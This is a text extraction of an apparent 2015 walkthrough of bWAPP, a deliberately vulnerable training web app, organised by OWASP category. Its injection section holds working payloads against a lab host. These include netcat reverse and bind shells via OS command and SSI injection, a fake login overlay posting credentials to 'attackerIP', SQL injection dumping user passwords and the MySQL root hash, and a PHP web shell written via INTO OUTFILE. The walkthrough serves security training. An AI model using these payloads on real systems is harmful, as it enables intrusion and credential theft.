bwapp - sanjiv kawa - · pdf filephp code injection server-side includes (ssi) injection ......

91
/ A1 - Injection / HTML Injection - Reflected (GET) HTML Injection - Reflected (POST) HTML Injection - Reflected (Current URL) HTML Injection - Stored (Blog) iFrame Injection LDAP Injection (Search) Mail Header Injection (SMTP) OS Command Injection OS Command Injection - Blind PHP Code Injection Server-Side Includes (SSI) Injection SQL Injection (GET/Search) SQL Injection (GET/Select) SQL Injection (POST/Search) SQL Injection (POST/Select) SQL Injection (AJAX/JSON/jQuery) SQL Injection (CAPTCHA) SQL Injection (Login Form/Hero) SQL Injection (Login Form/User) SQL Injection (SQLite) SQL Injection (Drupal) SQL Injection - Stored (Blog) SQL Injection - Stored (SQLite) SQL Injection - Stored (User-Agent) SQL Injection - Stored (XML) SQL Injection - Blind - Boolean-Based SQL Injection - Blind - Time-Based SQL Injection - Blind (SQLite) SQL Injection - Blind (Web Services/SOAP) XML/XPath Injection (Login Form) XML/XPath Injection (Search) / A2 - Broken Auth. & Session Mgmt. / Broken Authentication - CAPTCHA Bypassing Broken Authentication - Forgotten Function Broken Authentication - Insecure Login Forms Broken Authentication - Logout Management Broken Authentication - Password Attacks Broken Authentication - Weak Passwords Session Management - Administrative Portals Session Management - Cookies (HTTPOnly) Session Management - Cookies (Secure) Session Management - Session ID in URL Session Management - Strong Sessions / A3 - Cross-Site Scripting (XSS) / Cross-Site Scripting - Reflected (GET) Cross-Site Scripting - Reflected (POST) Cross-Site Scripting - Reflected (JSON) Cross-Site Scripting - Reflected (AJAX/JSON) Cross-Site Scripting - Reflected (AJAX/XML) bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1

Upload: truongdang

Post on 31-Jan-2018

311 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

/ A1 - Injection /HTML Injection - Reflected (GET)HTML Injection - Reflected (POST)HTML Injection - Reflected (Current URL)HTML Injection - Stored (Blog)iFrame InjectionLDAP Injection (Search)Mail Header Injection (SMTP)OS Command InjectionOS Command Injection - BlindPHP Code InjectionServer-Side Includes (SSI) InjectionSQL Injection (GET/Search)SQL Injection (GET/Select)SQL Injection (POST/Search)SQL Injection (POST/Select)SQL Injection (AJAX/JSON/jQuery)SQL Injection (CAPTCHA)SQL Injection (Login Form/Hero)SQL Injection (Login Form/User)SQL Injection (SQLite)SQL Injection (Drupal)SQL Injection - Stored (Blog)SQL Injection - Stored (SQLite)SQL Injection - Stored (User-Agent)SQL Injection - Stored (XML)SQL Injection - Blind - Boolean-BasedSQL Injection - Blind - Time-BasedSQL Injection - Blind (SQLite)SQL Injection - Blind (Web Services/SOAP)XML/XPath Injection (Login Form)XML/XPath Injection (Search)

/ A2 - Broken Auth. & Session Mgmt. /Broken Authentication - CAPTCHA BypassingBroken Authentication - Forgotten FunctionBroken Authentication - Insecure Login FormsBroken Authentication - Logout ManagementBroken Authentication - Password AttacksBroken Authentication - Weak PasswordsSession Management - Administrative PortalsSession Management - Cookies (HTTPOnly)Session Management - Cookies (Secure)Session Management - Session ID in URLSession Management - Strong Sessions

/ A3 - Cross-Site Scripting (XSS) /Cross-Site Scripting - Reflected (GET)Cross-Site Scripting - Reflected (POST)Cross-Site Scripting - Reflected (JSON)Cross-Site Scripting - Reflected (AJAX/JSON)Cross-Site Scripting - Reflected (AJAX/XML)

bWAPP - Sanjiv KawaApril 2, 2015 10:37 AM

bWAPP Page 1

Page 2: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Cross-Site Scripting - Reflected (AJAX/XML)Cross-Site Scripting - Reflected (Back Button)Cross-Site Scripting - Reflected (Custom Header)Cross-Site Scripting - Reflected (Eval)Cross-Site Scripting - Reflected (HREF)Cross-Site Scripting - Reflected (Login Form)Cross-Site Scripting - Reflected (phpMyAdmin)Cross-Site Scripting - Reflected (PHP_SELF)Cross-Site Scripting - Reflected (Referer)Cross-Site Scripting - Reflected (User-Agent)Cross-Site Scripting - Stored (Blog)Cross-Site Scripting - Stored (Change Secret)Cross-Site Scripting - Stored (Cookies)Cross-Site Scripting - Stored (SQLiteManager)Cross-Site Scripting - Stored (User-Agent)

/ A4 - Insecure Direct Object References /Insecure DOR (Change Secret)Insecure DOR (Reset Secret)Insecure DOR (Order Tickets)

/ A5 - Security Misconfiguration /Arbitrary File Access (Samba)Cross-Domain Policy File (Flash)Cross-Origin Resource Sharing (AJAX)Cross-Site Tracing (XST)Denial-of-Service (Large Chunk Size)Denial-of-Service (Slow HTTP DoS)Denial-of-Service (SSL-Exhaustion)Denial-of-Service (XML Bomb)Insecure FTP ConfigurationInsecure SNMP ConfigurationInsecure WebDAV ConfigurationLocal Privilege Escalation (sendpage)Local Privilege Escalation (udev)Man-in-the-Middle Attack (HTTP)Man-in-the-Middle Attack (SMTP)Old/Backup & Unreferenced FilesRobots File

/ A6 - Sensitive Data Exposure /Base64 Encoding (Secret)BEAST/CRIME/BREACH AttacksClear Text HTTP (Credentials)Heartbleed VulnerabilityHost Header Attack (Reset Poisoning)HTML5 Web Storage (Secret)POODLE VulnerabilitySSL 2.0 Deprecated ProtocolText Files (Accounts)

/ A7 - Missing Functional Level Access Control /Directory Traversal - DirectoriesDirectory Traversal - FilesHost Header Attack (Cache Poisoning)Host Header Attack (Reset Poisoning)Local File Inclusion (SQLiteManager)Remote & Local File Inclusion (RFI/LFI)

bWAPP Page 2

Page 3: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Remote & Local File Inclusion (RFI/LFI)Restrict Device AccessRestrict Folder AccessServer Side Request Forgery (SSRF)XML External Entity Attacks (XXE)

/ A8 - Cross-Site Request Forgery (CSRF) /Cross-Site Request Forgery (Change Password)Cross-Site Request Forgery (Change Secret)Cross-Site Request Forgery (Transfer Amount)

/ A9 - Using Known Vulnerable Components /Buffer Overflow (Local)Buffer Overflow (Remote)Drupal SQL Injection (Drupageddon)Heartbleed VulnerabilityPHP CGI Remote Code ExecutionPHP Eval FunctionphpMyAdmin BBCode Tag XSSShellshock Vulnerability (CGI)SQLiteManager Local File InclusionSQLiteManager PHP Code InjectionSQLiteManager XSS

/ A10 - Unvalidated Redirects & Forwards /Unvalidated Redirects & Forwards (1)Unvalidated Redirects & Forwards (2)

/ Other bugs... /ClickJacking (Movie Tickets)Client-Side Validation (Password)HTTP Parameter PollutionHTTP Response SplittingHTTP Verb TamperingInformation Disclosure - FaviconInformation Disclosure - HeadersInformation Disclosure - PHP versionInformation Disclosure - Robots FileInsecure iFrame (Login Form)Unrestricted File Upload

--------------------------- Extras --------------------------A.I.M. - No-authentication ModeClient Access Policy FileCross-Domain Policy FileEvil 666 Fuzzing PageManual Intervention Required!Unprotected Admin PortalWe Steal Secrets... (html)We Steal Secrets... (plain)WSDL File (Web Services/SOAP)

bWAPP Page 3

Page 4: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Areas with an asterix next to them have not been listed in this walkthough.

HTML Injection - Reflected (GET)HTML Injection - Reflected (POST)HTML Injection - Reflected (Current URL)HTML Injection - Stored (Blog)iFrame InjectionOS Command InjectionOS Command Injection - BlindPHP Code InjectionServer-Side Includes (SSI) InjectionSQL Injection (GET/Search)SQL Injection (GET/Select)SQL Injection (POST/Search)SQL Injection (POST/Select)SQL Injection (Login Form/Hero)SQL Injection (SQLite)SQL Injection (Drupal)SQL Injection - Stored (Blog)SQL Injection - Stored (SQLite)SQL Injection - Stored (User-Agent)SQL Injection - Blind - Boolean-BasedSQL Injection - Blind - Time-BasedXML/XPath Injection (Login Form)

*LDAP Injection (Search)*Mail Header Injection (SMTP)*SQL Injection (AJAX/JSON/jQuery)*SQL Injection (CAPTCHA)*SQL Injection (Login Form/User)*SQL Injection - Stored (XML)*SQL Injection - Blind (SQLite)*SQL Injection - Blind (Web Services/SOAP)*XML/XPath Injection (Search)

A1: InjectionMarch 31, 2015 9:03 AM

bWAPP Page 4

Page 5: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

<h2>HTML Injection - Reflected (GET)</h2>

http://192.168.254.131/bWAPP/htmli_get.php?firstname=<h1><a href="http://www.google.com">Click Me!</a></h1>&lastname=<h2>blah</h2>&form=submit

HTML Injection - Reflected (GET)March 31, 2015 9:03 AM

bWAPP Page 5

Page 6: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

HTML Injection - Reflected (POST)March 31, 2015 9:08 AM

bWAPP Page 6

Page 7: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

firstname=<h1><a href="http://www.google.com">Click Me!</a></h1>&lastname=<h2>blah</h2>&form=submit

bWAPP Page 7

Page 8: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

HTML Injection - Reflected (URL)March 31, 2015 9:11 AM

bWAPP Page 8

Page 9: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 9

Page 10: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

<div class="code"><iframe SRC="http://attackerIP/blah" height="0" width="0"></iframe></div>

<div class="code">test</div>

HTML Injection - Stored (Blog)March 31, 2015 9:16 AM

bWAPP Page 10

Page 11: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

<div class="code">test</div>

<div style="position: absolute; left: 0px; top: 0px; width: 800px; height: 600px; z-index: 1000; background-color:white;">Session Expired, Please Login:<br><form name="login" action="http://attackerIP/lol.htm"><table><tr><td>Username:</td><td><input type="text" name="uname"/></td></tr><tr><td>Password:</td><td><input type="password" name="pw"/></td></tr></table><input type="submit" value="Login"/></form></div>

bWAPP Page 11

Page 12: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 12

Page 13: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

http://192.168.254.131/bWAPP/iframei.php?ParamUrl=http://www.hello.com/&ParamWidth=500&ParamHeight=500

iFrame InjectionMarch 31, 2015 9:42 AM

bWAPP Page 13

Page 14: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 14

Page 15: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

www.nsa.gov && nc -vn 192.168.254.128 4444 -e /bin/bash

OS Command InjectionMarch 31, 2015 10:47 AM

bWAPP Page 15

Page 16: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

; whoami

bWAPP Page 16

Page 17: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

OS Command Injection (Blind)March 31, 2015 11:07 AM

bWAPP Page 17

Page 18: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

192.168.254.128 && nc -vn 192.168.254.128 4444 -e /bin/bash

http://thehackpot.blogspot.ca/2014/05/blind-os-command-injection-attacks.html

bWAPP Page 18

Page 19: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

PHP Code InjectionMarch 31, 2015 11:29 AM

bWAPP Page 19

Page 20: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

message=1; phpinfo()

bWAPP Page 20

Page 21: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 21

Page 22: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

phpi.php?message=""; system('nc -lvp 1234 -e /bin/bash')

bWAPP Page 22

Page 23: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

<!--#exec cmd="id" --><!--#exec cmd="cat /etc/passwd" -->

Server Side Include (SSI) InjectionMarch 31, 2015 11:50 AM

bWAPP Page 23

Page 24: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

connect to me on port 8888!<!--#exec cmd="nc -lvp 8888 -e /bin/bash" -->

bWAPP Page 24

Page 25: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

SQLi (GET/Search)March 31, 2015 11:53 AM

bWAPP Page 25

Page 26: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 26

Page 27: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

sqli_1.php?title='&action=search

bWAPP Page 27

Page 28: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

sqli_1.php?title=iron' or 1=1#&action=search

bWAPP Page 28

Page 29: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

sqli_1.php?title=validEntry' or 1=2#&action=search

sqli_1.php?title=iron' union select 1,2,3,4,5,6,7 #&action=search

bWAPP Page 29

Page 30: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

sqli_1.php?title=iron' union select 1,user(),@@version,4,5,6,7 #&action=search

iron' union select 1,login,password,email,5,6,7 from users #

sqli_1.php?title=iron' union select 1,"<?php echo shell_exec($_GET['cmd'])?>",3,4,5,6,7 into OUTFILE '/var/www/bWAPP/popped.php' #&action=search

bWAPP Page 30

Page 31: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Select * from movies where title like 'iron'

bWAPP Page 31

Page 32: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

sqli_2.php?movie=1 and 1=2#&action=go

SQLi (GET/Select)March 31, 2015 12:35 PM

bWAPP Page 32

Page 33: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

sqli_2.php?movie=1 union select 1,2,3,4,5,6#&action=go

sqli_2.php?movie=1 union select 1,2,3,4,5,6,7#&action=go

bWAPP Page 33

Page 34: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

sqli_2.php?movie=1337 union select 1,2,3,4,5,6,7#&action=go

sqli_2.php?movie=1337 union select 1,login,3,email,password,6,7 from users#&action=go

bWAPP Page 34

Page 35: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

SQLi (POST/Search)March 31, 2015 1:07 PM

bWAPP Page 35

Page 36: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 36

Page 37: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 37

Page 38: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 38

Page 39: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

SQLi (POST/Select)March 31, 2015 1:06 PM

bWAPP Page 39

Page 40: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

'

SQLi (Login Form/Hero)March 31, 2015 2:48 PM

bWAPP Page 40

Page 41: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

login=' or 1=1#&password=&form=submit

bWAPP Page 41

Page 42: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 42

Page 43: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

SQLi Stored (Blog)March 31, 2015 3:34 PM

bWAPP Page 43

Page 44: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

test','test')#

bWAPP Page 44

Page 45: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 45

Page 46: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

canary1','canary2')#

bWAPP Page 46

Page 47: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

canary1',(select password from mysql.user where user='root' limit 0,1))#

bWAPP Page 47

Page 48: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

canary1',(select version()))#canary1',(select user()))#

bWAPP Page 48

Page 49: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

SQLi Stored (User-Agent)March 31, 2015 3:56 PM

bWAPP Page 49

Page 50: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 50

Page 51: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 51

Page 52: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

This can be leveraged in conjunction with the substring function to identify table names based on true/false responses

SQLi Blind (Boolean Based)April 1, 2015 9:31 AM

bWAPP Page 52

Page 53: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

test'-IF(MID(VERSION(),1,1) = '5', SLEEP(5), 0)#

SQLi Blind (Time Based)April 1, 2015 9:35 AM

bWAPP Page 53

Page 54: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Intercept responses

http://pastebin.com/index/uT6zQGVx

$login = $_REQUEST["login"];$login = xmli($login);

$password = $_REQUEST["password"];$password = xmli($password);

// Loads the XML file$xml = simplexml_load_file("passwords/heroes.xml");

// XPath search$result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");

[login='" . $login . "' and password='" . $password . "']

[login='' and password='']

[login='whatever'' and password='']

[login='whatever' or 1=1' and password='']

XML/XPATH Injection (Login Form)April 1, 2015 10:14 AM

bWAPP Page 54

Page 55: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

[login='whatever' or 1=1' and password='']

[login='whatever' or 1=1 or '' and password='']

whatever' or 1=1 or '

bWAPP Page 55

Page 56: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Areas with an asterix next to them have not been listed in this walkthough.

Broken Authentication - Insecure Login FormsBroken Authentication - Logout ManagementSession Management - Administrative Portals

*Broken Authentication - CAPTCHA Bypassing*Broken Authentication - Forgotten Function*Broken Authentication - Password Attacks*Broken Authentication - Weak Passwords*Session Management - Cookies (HTTPOnly)*Session Management - Cookies (Secure)*Session Management - Session ID in URL*Session Management - Strong Sessions

A2: Broken AuthenticationApril 1, 2015 3:24 PM

bWAPP Page 56

Page 57: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

BA - Insecure Login FormApril 1, 2015 3:25 PM

bWAPP Page 57

Page 58: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

BA - Logout ManagementApril 1, 2015 3:26 PM

bWAPP Page 58

Page 59: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

BA - Session ManagementApril 1, 2015 3:31 PM

bWAPP Page 59

Page 60: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 60

Page 61: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Areas with an asterix next to them have not been listed in this walkthough.

Insecure DOR (Change Secret)Insecure DOR (Order Tickets)

*Insecure DOR (Reset Secret)

A4: Insecure Direct Object ReferencesApril 1, 2015 3:46 PM

bWAPP Page 61

Page 62: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Bee can be changed to bob

Insecure Direct Object Reference (Change Secret)April 1, 2015 3:42 PM

bWAPP Page 62

Page 63: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 63

Page 64: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Insecure Direct Object Reference (Order Ticket)April 1, 2015 3:51 PM

bWAPP Page 64

Page 65: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 65

Page 66: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Areas with an asterix next to them have not been listed in this walkthough.

Base64 Encoding (Secret)HTML5 Web Storage (Secret)

*BEAST/CRIME/BREACH Attacks*Clear Text HTTP (Credentials)*Heartbleed Vulnerability*Host Header Attack (Reset Poisoning)*POODLE Vulnerability*SSL 2.0 Deprecated Protocol*Text Files (Accounts)

A6: Sensitive Data ExposureApril 2, 2015 9:15 AM

bWAPP Page 66

Page 67: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Base64 EncodingApril 2, 2015 9:15 AM

bWAPP Page 67

Page 68: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

HTML5 Web StorageApril 2, 2015 9:16 AM

bWAPP Page 68

Page 69: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

bWAPP Page 69

Page 70: bWAPP - Sanjiv Kawa - · PDF filePHP Code Injection Server-Side Includes (SSI) Injection ... bWAPP - Sanjiv Kawa April 2, 2015 10:37 AM bWAPP Page 1 . Cross-Site Scripting - Reflected

Areas with an asterix next to them have not been listed in this walkthough.

